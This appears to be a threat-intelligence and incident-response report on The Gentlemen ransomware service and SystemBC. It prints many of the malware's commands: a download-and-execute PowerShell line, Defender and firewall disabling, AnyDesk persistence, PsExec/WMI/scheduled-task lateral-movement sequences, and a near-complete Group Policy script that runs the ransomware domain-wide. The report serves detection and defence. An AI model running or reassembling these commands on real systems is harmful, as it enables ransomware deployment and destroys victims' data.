Normal view

DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy

Key Points

  • The Gentlemen ransomware‑as‑a‑service (RaaS) program is rapidly gaining popularity, attracting numerous affiliates and publicly claiming over 320 victims, with the majority of attacks (240) occurring in the first months of 2026.
  • The service provides a broad locker portfolio implemented in Go for WindowsLinuxNAS, and BSD, plus an additional locker written in C for ESXi, enabling coverage of the multiple platforms commonly found in corporate environments.
  • During an incident response engagement, an affiliate associated with The Gentlemen attempted to deploy SystemBC, a proxy malware frequently leveraged in human‑operated ransomware operations for covert tunneling and payload delivery.
  • Check Point Research observed victim telemetry from the relevant SystemBC command‑and‑control server, revealing a botnet of over 1,570 victims, with the infection profile strongly suggesting a focus on corporate and organizational environments rather than opportunistic consumer targeting.


The Gentlemen RaaS

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. The operators advertise their services across multiple underground forums, promoting their ransomware platform and inviting penetration testers (and other technically skilled actors) to join as affiliates.

Figure 1 — The Gentlemen post on underground forums.

The RaaS provides affiliates with multi‑OS lockers for Windows, Linux, NAS, BSD implemented in Go, and an additional locker for ESXi implemented in C. The group also grants verified partners access to EDR‑killing tools and its own multi‑chain pivot infrastructure (server and client components).

The group maintains an onion site where it publishes data stolen from victims who refuse to pay. Negotiations, however, are not conducted through this leak portal but via the individual affiliate’s Tox ID. Tox is a free, decentralized, peer‑to‑peer (P2P) instant messaging protocol that provides end‑to‑end encrypted voice, video, and text communication.

The group also appears to maintain a Twitter/X account, which is referenced in the ransomware note. Through this account, the operators publicly post about victims, likely to increase pressure on them to pay.

Figure 2 — The Gentlemen RaaS X/Twitter account.

To date, the group has publicly claimed a little over 320 victims, with the majority of infections occurring in 2026. This growth in activity suggests that The Gentlemen RaaS program has managed to attract a significant number of affiliates over the last few months.


SystemBC Infections

During an incident response case, an affiliate of The Gentlemen Ransomware‑as‑a‑Service (RaaS) deployed SystemBC, a proxy malware, on the compromised host. SystemBC establishes SOCKS5 network tunnels within the victim’s environment and connects to its C&C server using a custom RC4‑encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or injected directly into memory.

The specific Command and Control server that was used for the communication had infected a large number of victims across the globe. It is likely that the majority of those victims are companies and organizations, given that SystemBC is typically deployed as part of human‑operated intrusion workflows rather than massive targeting.

Figure 3 — SystemBC global accesses.

There are over 1,570 victims, with the majority located in the United States, followed by the United Kingdom and Germany.

Figure 4 — Top 15 Infected countries.

Whether SystemBC is directly integrated into The Gentlemen ransomware ecosystem or is simply a tool leveraged by this particular affiliate for exfiltration and remote access remains unclear. At this time, Check Point Research has no evidence to determine the exact nature of this relationship.

Figure 5 — SystemBC infections panel.


DFIR Report – Timeline

Figure 6 – A high-level timeline of the attack

Initial Access and Establishment of Domain Control

The precise initial access vector could not be conclusively determined. The earliest stage of adversary activity that can be established with confidence is the attacker’s presence on a Domain Controller with Domain Admin–level privileges. From that position, the attacker appears to have performed systematic credential validation and host accessibility testing across the environment, as reflected in an initial pattern of failed network logons followed by successful authentications originating from the Domain Controller. This sequence is consistent with a controlled effort to verify privileged access and identify viable systems before expanding operations more broadly.

Remote Execution and Early Discovery

Using this privileged position, the attacker deployed Cobalt Strike payloads to remote systems by writing executables to administrative shares such as \\\\[REDACTED_HOSTNAME]\\ADMIN$\\<random_7_char>.exe and executing them via RPC. The first observed deployment occurred on an internal endpoint, after which similar activity appeared across additional hosts. Early post-compromise actions included reconnaissance commands such as cmd.exe /C systeminfo, cmd.exe /C whoami, and enumeration commands like cmd.exe /C dir c:\\users. The attacker also accessed internal documentation via cmd.exe /C type \\\\[REDACTED_HOSTNAME]\\d$\\...\\公司主機紀錄.txt, indicating use of environment-specific knowledge in addition to automated discovery. Expansion to other systems followed quickly, with repeated execution artifacts such as regsvr32.exe across multiple hosts confirming centrally driven activity.

Command-and-Control and Payload Staging

As execution expanded, the attacker attempted to establish additional command-and-control capabilities. On one compromised host, it staged the tool socks.exe – identified as a variant of SystemBC – was executed and attempted to communicate with 45.86.230[.]112, followed by validation using cmd.exe /C tasklist | findstr /i socks. This tool is commonly used to create SOCKS-based proxy channels for covert communication and internal pivoting. In this instance, however, the activity was blocked by endpoint protection. Shortly thereafter, a remotely executed payload (<random_7_char>.exe) spawned c:\\windows\\system32\\rundll32.exe, which established outbound communication to 91.107.247[.]163 Cobalt Strike C&C over ports 443 and later 80, indicating successful external command-and-control connectivity through alternative infrastructure.

At the same stage, PowerShell was executed from a scheduled task context using:

powershell.exe -ExecutionPolicy Bypass -command (new-object net.webclient).downloadfile('http://[REDACTED_DOMAIN_CONTROLLER]:8080/grand.exe', 'c:\\programdata\\r.exe'); c:\\programdata\\r.exe --password VvO8EtUh --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD]

This command downloaded grand.exe (the ransomware encryptor) from an internal staging server (DC) and executed it as c:\\programdata\\r.exe. The arguments --password VvO8EtUh and --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD] indicate both controlled execution and built-in propagation capability, marking a transition from initial access to coordinated malware deployment.

Defense Evasion, Propagation, and Persistence

Following execution of the staged payload, the attacker attempted to weaken host defenses using:

powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force

This disabled Windows Defender real-time monitoring. The same payload, identified by a consistent hash, then appeared across numerous systems under different filenames, including c:\\programdata\\r.exe, c:\\programdata\\g.exe, and c:\\programdata\\o.exe. This demonstrates rapid internal propagation via a shared malware component, supported by both domain-level access and the built-in spreading mechanism described earlier.

In parallel, the attacker performed environmental checks using commands such as:

cmd.exe /C wmic product where Name like '%kaspe%' get Name, IdentifyingNumber

Later, repeatedly executed across multiple hosts:

cmd.exe /C gpupdate /force

These attempts suggest the threat actor tried to influence or validate policy state during propagation. Remote Desktop was then enabled through commands such as:

cmd.exe /C reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Later, the attacker installed and configured AnyDesk using:

cmd.exe /C anydesk.exe --install C:\\Program Files (x86)\\AnyDesk\\anydesk.exe --start-with-win
cmd.exe /C echo Camry@12345 | C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe --set-password
cmd.exe /C anydesk.exe --start
cmd.exe /C anydesk.exe --get-id

This established a persistent remote access channel with a predefined password (Camry@12345), adding a secondary access mechanism after the SystemBC attempt was blocked.

Credential Access and Continued Discovery

Compromised hosts were also used for credential harvesting. Mimikatz output recovered from memory on one of the compromised endpoints showed access to credential material, including domain accounts and stored credentials from Credential Manager. This confirms that credential access occurred alongside lateral movement and malware deployment.

At the same time, the attacker continued discovery operations using commands such as:

cmd.exe /C query session
cmd.exe /C nltest /domain_trusts
cmd.exe /C nltest /dclist
cmd.exe /C net group "Domain Admins" /domain
cmd.exe /C net group "Enterprise Admins" /domain

These commands indicate enumeration of active sessions, domain trust relationships, domain controllers, and privileged groups, reflecting a shift toward understanding and potentially controlling the broader domain structure.

Consolidated View of the Intrusion

Taken together, the attack progressed from suspected perimeter access to domain-level control, followed by credential validation, remote payload execution via ADMIN$ shares, and rapid expansion across endpoints. This was accompanied by attempted and successful command-and-control establishment using infrastructure such as 45.86.230[.]112 and 91.107.247[.]163, staged malware delivery from the internal DC, and widespread propagation of a shared payload under multiple filenames. Defensive measures were actively suppressed, and multiple persistence and exfiltration mechanisms were introduced, including RDP and AnyDesk.

The failed deployment of SystemBC and the subsequent reliance on alternative channels demonstrate that the attacker adapted their approach when blocked. Overall, the activity reflects coordinated, centrally controlled execution with layered access mechanisms, resulting in broad, durable control over the environment.

Impact

The intrusion culminated in the deployment of The Gentlemen RaaS payload by an affiliate, using Group Policy as the distribution mechanism. A GPO‑based deployment was configured so that the ransomware binary was executed on domain‑joined systems during policy refresh, resulting in a rapid, near‑simultaneous encryption event across the environment.


The Gentlemen GO Ransomware

The Gentlemen ransomware is developed in the Go programming language. It appears to be under active development, with new features and capabilities being continuously added over time.

Command Line Arguments

The Gentlemen ransomware exposes a wide range of command‑line options that provide numerous features to its operators. While most flags are optional, the only mandatory argument required to start the encryption process is --password, which appears to be unique per build/infection.

Usage: %s --password PASS [--path DIR1,DIR2,...] [--T MIN] [--silent] [--wipe] [--keep] [--full/system/shares] [--gpo/spread] [--fast/superfast/ultrafast] 

  Main Flags 
  --password PASS    Access password (required)
  --path DIRS        Comma-separated list of target directories/disks (optional)
  --T MIN            Delay before start, in minutes (optional)

  Mode Flags (cant be mixed) 
  --system           Run as SYSTEM: encrypt only local drives (optional)
  --shares           Encrypt only mapped network drives and available UNC shares in session context (optional)
  --full             Two-phase: --system + --shares. Best practice. (optional)

  Additional Flags 
  --spread CREDS     Lateral movement: "domain/user:pass" with creds, or "" for current session
  --gpo              Deploy via Group Policy to all domain computers (run on DC)
  --silent           Silent mode: do NOT rename and modify time of files after encryption, no wallpaper(optional)
  --keep             Do not selfdelete after encryption (optional)
  --wipe             Wipe free space after encryption (optional)

  Speed Flags (cant be mixed) 
  --fast             9 percent crypt. (optional)
  --superfast        3 percent crypt. (optional)
  --ultrafast        1 percent crypt. (optional)

    Example 1: --password QWERTY --path "C:\\,D:\\,\\\\nas\\share" --T 15 --silent
    Example 2: --password QWERTY --system --fast
    Example 3: --password QWERTY --shares --T 10
    Example 4: --password QWERTY --full --ultrafast
    Example 5: --password QWERTY --full --spread "domain\\admin:P@ss"  # With credentials
    Example 6: --password QWERTY --T 10 --keep --spread ""                     # Current session
    Example 7: --password QWERTY --gpo --full --fast

[+]

The minimum required command‑line for The Gentlemen ransomware execution is:

$process_name --password $pass

The password is plaintext hardcoded in the binary validates it with the password provided in the required argument.

Figure 7 — Argument – Hardcoded Password comparison.

Processes & Services Termination

To terminate running processes, the malware repeatedly executes the following command in a loop for each targeted process:

  • taskkill /IM <process>.exe /F
CategoryProcesses targeted
VMware / Hyper-Vvmms, vmwp, vmcompute, vmacthlp, vmtoolsd, vmware, vmware-tray, vmware-vmx, vmwareuser
SQL Serversqlservr, sql, sqlbrowser, sqlwriter, SQLAGENT, sqlceip, sqbcoreservice, fdlauncher, fdhost, isqlplussvc, ReportingServicesService, Microsoft.SqlServer.Management, Microsoft.SqlServer.IntegrationServices.WorkerAgentServiceHost, DBeaver, Ssms, dbeng50, dbsnmp
MySQL / PostgreSQL / Oraclemysqld, oracle, postmaster, postgres, psql, pgAdmin3, pgAdmin4, ocssd, ocomm, ocautoupds
Backup & RecoveryDatto, cbService, cbVSCService11, cbInterface, MSP360, Macrium, Acronis, Carbonite, CrashPlan, Unitrends, StorageCraft, raw_agent_svc, vsnapvss, ShadowProtectSvc, Iperius, IperiusService, avagent, avscc, CagService
VeeamVeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc, Veeam.EndPoint.Service
CommvaultCVMountd, cvd, cvfwd, CVODS
SAPSAP, saphostexec, saposco, sapstartsrv, agntsvc
Veritas / Symantec BEbedbh, vxmon, benetns, bengien, pvlsvr, beserver
Office / Productivityexcel, infopath, msaccess, mspub, onenote, outlook, powerpnt, visio, winword, wordpad, notepad
Email Clientsthebat, thunderbird, tbirdconfig
Web / App Serversw3wp, encsvc, xfssvccon
Remote AccessTeamViewer_Service, TeamViewer, tv_w32, tv_x64
QuickBooksQBIDPService, QBDBMgrN, QBCFMonitorService
Desktop / Misc Servicesmydesktopqos, mydesktopservice, mvdesktopservice, synctime, EnterpriseClient, DellSystemDetect, Docker Desktop
Otherfirefox, steam

For service termination, the ransomware relies on two distinct commands:

  1. sc config <service> start=disabled, sends a stop signal to the service right now, killing it immediately if it’s currently running.
  2. sc stop <service>, sends a stop signal to the service right now, killing it immediately if it’s currently running.
CategoryServices targeted
Backup & Recoveryvmms, veeam, backup, vss, YooBackup, DattoBackup, MSP360Service, Macrium*, ShadowProtectSvc, PDVFSService, AcronisCyberProtect, AcronisAgent, AcrSch2Svc, VSNAPVSS, storflt, stc_raw_agent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc
Veritas / Backup ExecBackupExec*, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService
SQL / DatabasesSql, sql, MSSQL*, MSSQLSERVER, MSSQL, MSSQL$SQLEXPRESS, SQLSERVERAGENT, SQLWriter, SQLAgent$SQLEXPRESS, MsDtsServer150, SSISScaleOutWorker150, SSSScaleOutMaster, SSSScaleOutWorker, SSASTELEMETRY, SQL Server Distributed Replay Client, SQL Server Distributed Replay Controller, MySQL, MariaDB, postgresql, OracleServiceORCL, (.)sql(.)
VMwareVMware, VMwareTools, VMwareHostd, VMAuthdService, VMUSBArbService
Exchange / SharePointmsexchange, MSExchange, MSExchange\$, WSBExchange, SPAdminV4
Security / AVSymantec*, sophos, DefWatch, RTVscan, SavRoam, ccSetMgr, ccEvtMgr, MVarmor, MVarmor64, zhudongfangyu
Commvault (Gx)*GxBlr, GxVss, GxClMgrS, GxCVD, GxClMgr, GXMMM, GxVsshWProv, GxFWD
SAPSAP, SAP$, SAPD$, SAPService, SAPHostControl, SAPHostExec
VeritasVeritas*
QuickBooksQBCFMonitorService, QBDBMgrN, QBIDPService
Other / Miscmepocs, memtas, docker, CAARCUpdateSvc, CASAD2DWebSvc, YooIT, svc$

Persistence

During execution, the ransomware attempts to establish persistence using multiple mechanisms. It first attempts to create a scheduled task, initially without validating the current process privileges:

  • schtasks /Delete /TN UpdateSystem /F
  • schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM

In a second attempt, the ransomware creates the same scheduled task in the user context by reissuing the commands without the /RU SYSTEM.

  • schtasks /Delete /TN UpdateUser /F
  • schtasks /Create /SC ONSTART /TN UpdateUser /TR "<exe> <args>"

The second local persistence method relies on a Run registry key. As with scheduled tasks, the malware attempts to configure this both for the system (HKLM) and for the current user (HKCU):

  • reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f

When the --spread argument is enabled, the ransomware also attempts to maintain remote persistence on each reachable host. For each target, it sets up two persistence mechanisms:

  • Scheduled tasks–based persistence
  • Service–based persistence

Both mechanisms attempt to execute the ransomware from different locations on the remote machine or over a share.

# Scheduled Tasks
schtasks /Create /S <target> /TN DefS /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN DefS

schtasks /Create /S <target> /TN UpdateGS /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS

schtasks /Create /S <target> /TN UpdateGS2 /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS2

# Services
sc \\\\<target> create DefSvc binpath= "<exe>"
sc \\\\<target> start DefSvc

sc \\\\<target> create UpdateSvc binpath= "\\\\<host>\\share$\\<exe> <creds>"
sc \\\\<target> start UpdateSvc

sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
sc \\\\<target> start UpdateSvc2

*Full command lines for the --spread argument are provided further below.

Antivirus Evasion

The ransomware executes three PowerShell commands to disable Microsoft Defender protection and exclude both itself and the entire C:\\ drive from scanning and monitoring:

  • powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force, disables Defender’s real-time protection entirely, the background scanning that monitors files, downloads, and processes as they’re accessed. With this off, malware can run without being intercepted.
  • powershell -Command Add-MpPreference -ExclusionProcess <ransomware_exe> -Force, adds a specific executable to Defender’s process exclusion list. Defender will completely ignore any file activity triggered by that process, even if it’s doing something malicious.
  • powershell -Command Add-MpPreference -ExclusionPath C:\\ -Force, adds the entire C: drive to Defender’s path exclusion list. This tells Defender to skip scanning anything on the drive, every file, folder, and executable.

During lateral movement, the ransomware makes an attempt to blind Windows Defender on each reachable remote host by pushing a PowerShell script that disables real-time monitoring, adds broad exclusions for the drive, staging share, and its own process, shuts down the firewall, re-enables SMB1, and loosens LSA anonymous access controls, all before deploying and executing the ransomware binary on that host.

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath 'C:\\'
Add-MpPreference -ExclusionPath 'C:\\Temp'
Add-MpPreference -ExclusionPath '\\\\<host>\\share$'
Add-MpPreference -ExclusionProcess '<exe>'
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
reg add ...\\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
reg add ...\\Lsa /v RestrictAnonymous /t REG_DWORD /d 0 /f

Windows Firewall

The ransomware tries to disable the firewall to allow unrestricted outbound and inbound traffic. This enables lateral movement tools (PsExec, WMI, SMB) to reach remote hosts without firewall rules blocking them, and allows exfiltration channels to operate freely. Bellow the executed commands deactivating the firewall:

  • netsh advfirewall set allprofiles state off
  • powershell -Command Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • sc stop mpssvc
  • sc config mpssvc start=disabled

Lateral movement, --spread argument

The --spread argument is disabled by default and is assigned the value "DISABLED". The lateral movement phase is only activated when the operator explicitly supplies --spread "domain\\user:password", providing credentials harvested from the environment.

These credentials are then reused across all lateral movement operations: PsExec receives them via the -u and -p parameters, WMI uses them for remote authentication, and remote scheduled task and service creation, authenticating with them against each target host.

Once --spread is enabled, the ransomware enumerates all domain computers via Active Directory, pings each discovered host to confirm reachability, and, for every host that responds, executes the full lateral movement sequence: copying the binary, pushing the Defender‑disabling script, and deploying it through six parallel execution channels across PsExec, WMI, scheduled tasks, and services.

 --- SETUP (executed once before the per-target loop) ---

 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<host>\\C$\\Temp\\" /Y /I /C /H /R /K
 cmd /C net share share$=C:\\Temp /GRANT:Everyone,FULL
 cmd /C icacls C:\\Temp /grant "ANONYMOUS LOGON":F
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
        /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
        /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

 --- PER TARGET (loop over all reachable hosts) ---

 -- File copy to target --
 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K

 -- PsExec: disable Defender on target (with credentials) --
 psexec \\\\<target> -accepteula -d -s -u <domain\\user> -p <pass>
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: disable Defender on target (no credentials) --
 psexec \\\\<target> -accepteula -d -s
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: run via local Temp (with credentials) --
 psexec \\\\<target> -accepteula -d -h -u <domain\\user> -p <pass>
     C:\\Temp\\<exe> <creds>

 -- PsExec: run via local Temp (no credentials) --
 psexec \\\\<target> -accepteula -d -h
     C:\\Temp\\<exe>

 -- WMI: run Defender disable script --
 wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>"

 -- WMI: run via share path --
 wmic /node:<target> process call create
    "\\\\<host>\\share$\\<exe> <creds>"

 -- WMI: run via local Temp --
 wmic /node:<target> process call create
    "C:\\Temp\\<exe> <creds>"

 -- Remote schtask: DefU (no SYSTEM) --
 schtasks /Create /S <target> /TN DefU
      /TR "<exe>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN DefU

 -- Remote schtask: UpdateGU (share path) --
 schtasks /Create /S <target> /TN UpdateGU
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU

 -- Remote schtask: UpdateGU2 (local Temp) --
 schtasks /Create /S <target> /TN UpdateGU2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU2

 -- Remote schtask: DefS (SYSTEM, direct exe) --
 schtasks /Create /S <target> /TN DefS
      /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN DefS

 -- Remote schtask: UpdateGS (SYSTEM, share path) --
 schtasks /Create /S <target> /TN UpdateGS
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS

 -- Remote schtask: UpdateGS2 (SYSTEM, local Temp) --
 schtasks /Create /S <target> /TN UpdateGS2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS2

 -- Remote service: DefSvc (direct exe) --
 sc \\\\<target> create DefSvc  binpath= "<exe>"
 sc \\\\<target> start  DefSvc

 -- Remote service: UpdateSvc (share path) --
 sc \\\\<target> create UpdateSvc  binpath= "\\\\<host>\\share$\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc

 -- Remote service: UpdateSvc2 (local Temp) --
 sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc2

 -- Remote PowerShell: SCRIPT_B — full Defender/firewall/SMB1/LSA/shares (no creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Set-MpPreference -DisableRealtimeMonitoring $true;
    Add-MpPreference -ExclusionPath 'C:\\';
    Add-MpPreference -ExclusionPath 'C:\\Temp';
    Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
    Add-MpPreference -ExclusionProcess '<exe>';
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
    Get-PSDrive -PSProvider FileSystem |
     Where-Object {$_.Name -match '^[A-Z]$'} |
     ForEach-Object {
      $d = $_.Name;
      net share ($d+'$')=($d+':\\') /GRANT:Everyone,FULL 2>$null;
      icacls ($d+':\\') /grant Everyone:F /T /C /Q 2>$null
     };
    Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

 -- Remote PowerShell: SCRIPT_C — WinRM Defender disable + process exclusion (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true;
      Add-MpPreference -ExclusionPath 'C:\\';
      Add-MpPreference -ExclusionProcess '<exe>'
    }"

 -- Remote PowerShell: SCRIPT_D — WinRM start process via share (no creds, 67-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process '<exe>' }"

 -- Remote PowerShell: SCRIPT_E — WinRM start process via share with args (with creds, 96-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath '<\\\\<host>\\share$\\<exe>>' -ArgumentList '<creds>'
    }"

 -- Remote PowerShell: SCRIPT_F — WinRM start process via local Temp (no creds, 63-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process 'C:\\Temp\\<exe>' }"

 -- Remote PowerShell: SCRIPT_G — WinRM start process via local Temp with args (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath 'C:\\Temp\\<exe>' -ArgumentList '<creds>'
    }"
    

 SCRIPT_A (Defender disable — used inline by PsExec and WMI calls)
 ---------------------------------------------------------------
 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true;
   Add-MpPreference -ExclusionPath 'C:\\';
   Add-MpPreference -ExclusionPath 'C:\\Temp';
   Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
   Add-MpPreference -ExclusionProcess '<exe>';
   Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
   Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
     /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
   reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
     /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

Deploy via Group Policy

The --gpo flag enables the most powerful and far-reaching deployment method in the entire binary, reserved specifically for operators who have already compromised a Domain Controller. It is designed to weaponize Active Directory’s own Group Policy infrastructure to detonate the ransomware simultaneously on every computer in the domain. When --gpo is enabled, the following PowerShell script is executed:

  Write-Host "[+] Installing required modules..."
  try { Import-Module ServerManager -ErrorAction Stop } catch {}
  try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 2>$null } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 2>$null } catch {}
  Import-Module ActiveDirectory -ErrorAction SilentlyContinue
  Import-Module GroupPolicy -ErrorAction SilentlyContinue

  Write-Host "[+] Getting domain info..."
  try {
      $Domain   = (Get-ADDomain).DNSRoot
      $DomainDN = (Get-ADDomain).DistinguishedName
      Write-Host "[+] Domain from AD: $Domain"
  } catch {
      try {
          $Domain   = (Get-WmiObject Win32_ComputerSystem).Domain
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from WMI: $Domain"
      } catch {
          $Domain   = $env:USERDNSDOMAIN
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from env: $Domain"
      }
  }

  Write-Host "[+] Copying locker to NETLOGON..."
  $ExePath = "\\\\$Domain\\NETLOGON\\<exe>"
  Copy-Item -Path "<exe>" -Destination $ExePath -Force -ErrorAction SilentlyContinue

  Write-Host "[+] Creating GPO..."
  $guid = [guid]::NewGuid().ToString().ToUpper()
  New-GPO -Name "<gpo_name>" -Comment "System Update" -ErrorAction SilentlyContinue | Out-Null
  New-GPLink -Name "<gpo_name>" -Target $DomainDN -ErrorAction SilentlyContinue | Out-Null

  $GpoScheduledPath = "\\\\$Domain\\SYSVOL\\$Domain\\Policies\\{$guid}\\Machine\\Preferences\\ScheduledTasks"
  New-Item -ItemType Directory -Path $GpoScheduledPath -Force | Out-Null

  $TaskXmlPath = "$env:TEMP\\ScheduledTasks.xml"
  $TaskName    = "SystemUpdate"

  @"
  <ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
        name="$TaskName" image="0" changed="<timestamp>" uid="<uid>"
        userContext="0" removePolicy="0">
      <Properties action="C" name="$TaskName"
          runAs="NT AUTHORITY\\System" logonType="S4U"/>
      ...
      <BootTrigger><Enabled>true</Enabled></BootTrigger>
      <RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger>
      <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
      <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
      <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
      <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    </ImmediateTaskV2>
  </ScheduledTasks>
  "@ | Out-File -Encoding UTF8 -FilePath $TaskXmlPath -Force

  Copy-Item -Path $TaskXmlPath -Destination "$GpoScheduledPath\\ScheduledTasks.xml" -Force

  if (!(Test-Path $GpoScheduledPath)) {
      # path creation guard
  }

  $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
  foreach ($_ in $comps) {
      Invoke-GPUpdate -Computer $_.name -RandomDelayInMinutes 0
          -Force -ErrorAction SilentlyContinue
      Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force }
          -ErrorAction SilentlyContinue
  }

Drive Enumeration

For drive enumeration, the malware uses two techniques to identify available volumes:

  1. PowerShell‑based discovery, using the following command.
  2. Brute‑force drive letter scan, iterating from A: to Z: and calling os.Stat on each path to determine whether it is a valid drive.
powershell -NoProfile -Command "$volumes=@();
$volumes += Get-WmiObject -Class Win32_Volume |
    Where-Object { $_.Name -like ':\\' } |
    Select-Object -ExpandProperty Name;
try {
    $volumes += Get-ClusterSharedVolume |
        ForEach-Object { $_.SharedVolumeInfo.FriendlyVolumeName }
} catch {}
$volumes"

Network Enumeration

In order to enumerate network drives the ransomware executes a sequence of Windows commands that force-enable network discovery and related services, making the machine visible and reachable on the local network.

 sc config fdrespub start=auto
 sc start  fdrespub
 sc config fdPHost  start=auto
 sc start  fdPHost
 sc config SSDPSRV  start=auto
 sc start  SSDPSRV
 sc config upnphost start=auto
 sc start  upnphost
 netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
